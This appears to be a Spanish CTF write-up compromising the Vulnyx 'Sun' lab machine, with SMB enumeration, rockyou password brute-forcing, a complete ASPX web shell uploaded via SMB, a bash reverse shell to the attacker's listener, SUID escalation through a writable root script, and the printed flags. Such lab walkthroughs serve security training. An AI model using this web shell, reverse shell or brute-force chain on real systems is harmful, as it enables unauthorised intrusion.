Sun Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 03:39 EDT
Nmap scan report for 192.168.5.92
Host is up (0.0016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Sun
|_http-server-header: nginx/1.22.1
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
8080/tcp open http nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Sun
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:8F:77:B9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2025-08-29T07:39:39
|_ start_date: N/A
|_nbstat: NetBIOS name: SUN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 secondsVeremos que hay varios puertos, entre ellos esta el puerto 80 y el 8080 que si entramos veremos exactamente la misma pagina desde fuera, si realizamos un poco de fuzzing no veremos nada interesante, por lo que vamos a probar a listar los recursos de SMB.
SMB
smbclient -L \\<IP> -NNo veremos nada interesante tampoco, por lo que vamos a realizar una enumeracion a dicho servidor de forma mas extensa.
enum4linux -a <IP>Info:
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 29 03:43:15 2025
=========================================( Target Information )=========================================
Target ........... 192.168.5.92
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 192.168.5.92 )============================
[+] Got domain/workgroup name: WORKGROUP
================================( Nbtstat Information for 192.168.5.92 )================================
Looking up status of 192.168.5.92
SUN <00> - B <ACTIVE> Workstation Service
SUN <03> - B <ACTIVE> Messenger Service
SUN <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 192.168.5.92 )===================================
[+] Server 192.168.5.92 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.5.92 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
===================================( OS information on 192.168.5.92 )===================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.5.92 from srvinfo:
SUN Wk Sv PrQ Unx NT SNT Samba 4.17.12-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 192.168.5.92 )=======================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: punt4n0 Name: punt4n0 Desc:
user:[punt4n0] rid:[0x3e8]
=================================( Share Enumeration on 192.168.5.92 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk File Upload Path
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 192.168.5.92 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 192.168.5.92
//192.168.5.92/print$ Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_CONNECTION_REFUSED listing \*
//192.168.5.92/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//192.168.5.92/nobody Mapping: DENIED Listing: N/A Writing: N/A
============================( Password Policy Information for 192.168.5.92 )============================
[+] Attaching to 192.168.5.92 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] SUN
[+] Builtin
[+] Password Info for Domain: SUN
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
=======================================( Groups on 192.168.5.92 )=======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 192.168.5.92 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\punt4n0 (Local User)
[+] Enumerating users using SID S-1-5-21-3376172362-2708036654-1072164461 and logon username '', password ''
S-1-5-21-3376172362-2708036654-1072164461-501 SUN\nobody (Local User)
S-1-5-21-3376172362-2708036654-1072164461-513 SUN\None (Domain Group)
S-1-5-21-3376172362-2708036654-1072164461-1000 SUN\punt4n0 (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
===============================( Getting printer info for 192.168.5.92 )===============================
No printers returned.
enum4linux complete on Fri Aug 29 03:43:35 2025Veremos mucha informacion, pero entre todo esto veremos esta linea de aqui:
S-1-5-21-3376172362-2708036654-1072164461-1000 SUN\punt4n0 (Local User)Vemos un usuario, por lo que vamos a realizar fuerza bruta en SMB con dicho usuario a ver si encontramos algo.
Netexec
Vamos a limpiar el rockyou a UTF-8 para que no de errores.
iconv -f ISO-8859-1 -t UTF-8//TRANSLIT /<PATH>/rockyou.txt > rockyou_utf8.txtAhora si podremos utilizar dicho diccionario.
netexec smb <IP> -u 'punt4n0' -p rockyou_utf8.txtInfo:
...............................<RESTO_DE_CODIGO>...................................
SMB 192.168.5.92 445 SUN [+] SUN\punt4n0:sundayVeremos que ha funcionado, pero si probamos dichas credenciales por SSH veremos que no funciona, por lo que vamos a listar los recursos de SMB con dichas credenciales.
smbclient -L \\<IP> -U punt4n0Info:
Password for [WORKGROUP\punt4n0]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
punt4n0 Disk File Upload PathVeremos que aparece un recurso nuevo bastante interesante con el nombre del usuario en el que podremos subir archivos a dicho servidor.
smbclient //<IP>/punt4n0 -U punt4n0Metemos como contraseña sunday y con esto estaremos dentro, si listamos veremos lo siguiente:
. D 0 Tue Apr 2 04:55:21 2024
.. D 0 Mon Apr 1 12:43:11 2024
index.html N 263 Tue Apr 2 04:54:36 2024
sun.jpg N 98346 Tue Apr 2 04:49:44 2024
19480400 blocks of size 1024. 15774808 blocks availableVeremos que se esta compartiendo la pagina desde dicho servidor, por lo que vamos a probar a subir un archivo PHP a ver si funciona una reverse shell.
Escalate user punt4n0
Si subimos el PHP con una reverse shell y entramos por el puerto 8080 que es donde se esta compartiendo, veremos que no funciona, nos descarga el archivo, por lo que no lo esta interpretando, vamos a probar con un archivo .aspx directamente.
webshell.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
lblOutput.Text = "Seleccione un comando o ingrese uno personalizado.";
}
}
void ExecutePredefinedCommand(object sender, EventArgs e)
{
string command = ddlCommands.SelectedValue;
txtCustomCommand.Text = command;
ExecuteCommand(command);
}
void ExecuteCustomCommand(object sender, EventArgs e)
{
ExecuteCommand(txtCustomCommand.Text.Trim());
}
void ExecuteCommand(string command)
{
try
{
if (string.IsNullOrEmpty(command))
{
lblOutput.Text = "Por favor, ingrese un comando.";
return;
}
StringBuilder output = new StringBuilder();
output.AppendLine($"<strong>🔄 Ejecutando:</strong> <code>{Server.HtmlEncode(command)}</code>");
output.AppendLine("<hr>");
Process process = new Process();
// Para Linux
process.StartInfo.FileName = "/bin/bash";
process.StartInfo.Arguments = $"-c \"{command.Replace("\"", "\\\"")}\"";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
string result = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
output.AppendLine($"<strong>📊 Código de salida:</strong> {process.ExitCode}<br><br>");
if (!string.IsNullOrEmpty(result))
{
output.AppendLine("<strong>✅ Salida:</strong>");
output.AppendLine($"<pre>{Server.HtmlEncode(result)}</pre>");
}
if (!string.IsNullOrEmpty(error))
{
output.AppendLine("<strong>❌ Errores:</strong>");
output.AppendLine($"<pre style='color: #dc3545;'>{Server.HtmlEncode(error)}</pre>");
}
lblOutput.Text = output.ToString();
}
catch (Exception ex)
{
lblOutput.Text = $"<strong>⚠️ Error:</strong> {Server.HtmlEncode(ex.Message)}";
}
}
</script>
<!DOCTYPE html>
<html>
<head>
<title>Advanced Command Executor - CTF</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
margin: 40px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
}
.container {
background: white;
padding: 30px;
border-radius: 15px;
box-shadow: 0 10px 30px rgba(0,0,0,0.2);
max-width: 1000px;
margin: 0 auto;
}
h2 {
color: #333;
text-align: center;
margin-bottom: 30px;
}
.section {
margin-bottom: 25px;
padding: 20px;
border: 2px solid #e9ecef;
border-radius: 10px;
}
.form-group {
margin-bottom: 15px;
display: flex;
align-items: center;
gap: 10px;
}
select, input[type="text"] {
flex: 1;
padding: 12px;
border: 2px solid #ddd;
border-radius: 8px;
font-size: 14px;
}
.btn {
background: #007bff;
color: white;
padding: 12px 20px;
border: none;
border-radius: 8px;
cursor: pointer;
font-weight: bold;
transition: background 0.3s;
}
.btn:hover { background: #0056b3; }
.btn-danger { background: #dc3545; }
.btn-danger:hover { background: #c82333; }
pre {
background: #f8f9fa;
padding: 15px;
border: 1px solid #dee2e6;
border-radius: 8px;
overflow-x: auto;
font-family: 'Courier New', monospace;
}
.output {
margin-top: 25px;
padding: 20px;
background: #f8f9fa;
border-radius: 10px;
border-left: 4px solid #007bff;
}
</style>
</head>
<body>
<div class="container">
<h2>🛠️ Advanced System Command Executor</h2>
<p style="text-align: center; color: #666;">CTF Challenge - Ethical Hacking Environment</p>
<div class="section">
<h3>📋 Comandos Predefinidos</h3>
<form runat="server">
<div class="form-group">
<asp:DropDownList ID="ddlCommands" runat="server" CssClass="form-control">
<asp:ListItem Value="whoami">whoami - Usuario actual</asp:ListItem>
<asp:ListItem Value="pwd">pwd - Directorio actual</asp:ListItem>
<asp:ListItem Value="ls -la">ls -la - Listar archivos</asp:ListItem>
<asp:ListItem Value="uname -a">uname -a - Info del sistema</asp:ListItem>
<asp:ListItem Value="id">id - Información de usuario</asp:ListItem>
<asp:ListItem Value="ps aux">ps aux - Procesos ejecutándose</asp:ListItem>
<asp:ListItem Value="netstat -tulpn">netstat -tulpn - Conexiones de red</asp:ListItem>
<asp:ListItem Value="cat /etc/passwd">cat /etc/passwd - Usuarios del sistema</asp:ListItem>
</asp:DropDownList>
<asp:Button ID="btnPredefined" runat="server" Text="Ejecutar"
CssClass="btn" OnClick="ExecutePredefinedCommand" />
</div>
</form>
</div>
<div class="section">
<h3>🎯 Comando Personalizado</h3>
<form runat="server">
<div class="form-group">
<asp:TextBox ID="txtCustomCommand" runat="server"
placeholder="Ingrese comando personalizado" />
<asp:Button ID="btnCustom" runat="server" Text="Ejecutar"
CssClass="btn" OnClick="ExecuteCustomCommand" />
</div>
</form>
</div>
<div class="output">
<asp:Label ID="lblOutput" runat="server" Text="" />
</div>
</div>
</body>
</html>Creado esto, vamos a subirlo al SMB de esta forma:
put webshell.aspxEcho esto accederemos a dicho archivo de esta forma:
URL = http://<IP>:8080/webshell.aspxDentro de esta seccion en la ejecuccion de comandos pondremos lo siguiente:
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1Antes de enviarlo nos pondremos a la escucha de esta forma:
nc -lvnp <PORT>Ahora si enviamos el anterior comando y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 6666 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.92] 45274
bash: no se puede establecer el grupo de proceso de terminal (428): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
punt4n0@sun:~$ whoami
whoami
punt4n0Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Ahora vamos a leer la flag del usuario:
user.txt
3b16b996837f6e87ffb20ab19edb88b7Escalate Privileges
Si listamos el /opt veremos lo siguiente:
total 16
drwxr-xr-x 3 root root 4096 abr 2 2024 .
drwxr-xr-x 18 root root 4096 abr 1 2024 ..
drwx------ 3 root root 4096 abr 1 2024 microsoft
-rwx---rw- 1 root root 97 abr 2 2024 service.ps1Vemos que hay un archivo service.ps1 bastante interesante, si leemos que contiene:
$idOutput = id
$outputFilePath = "/dev/shm/out"
$idOutput | Out-File -FilePath $outputFilePathVemos que esta creando una variable con el comando id y que lo esta escribiendo en un archivo, si leemos dicho archivo veremos lo siguiente:
cat /dev/shm/outInfo:
uid=0(root) gid=0(root) grupos=0(root)Vemos que esta ejecutando el comando que esta en dicha variable, esto nos hace pensar que se esta ejecutando cada X tiempo por root y como podemos modificar el script, vamos a realizar lo siguiente:
nano /opt/service.ps1
#Dentro del nano
$idOutput = chmod u+s /bin/bash
$outputFilePath = "/dev/shm/out"
$idOutput | Out-File -FilePath $outputFilePathLo guardamos y ahora tendremos que esperar un poco a ver si surge efecto.
Ahora si listamos la bash:
ls -la /bin/bashInfo:
-rwsr-xr-x 1 root root 1265648 abr 23 2023 /bin/bashVeremos que ha funcionado, por lo que vamos a ejecutar lo siguiente para ser root directamente:
bash -pInfo:
bash-5.2# whoami
rootCon esto veremos que ya seremos root, por lo que vamos a leer la flag de root.
root.txt
e1e7f5e01538acad8c272a5da450f9f6Last updated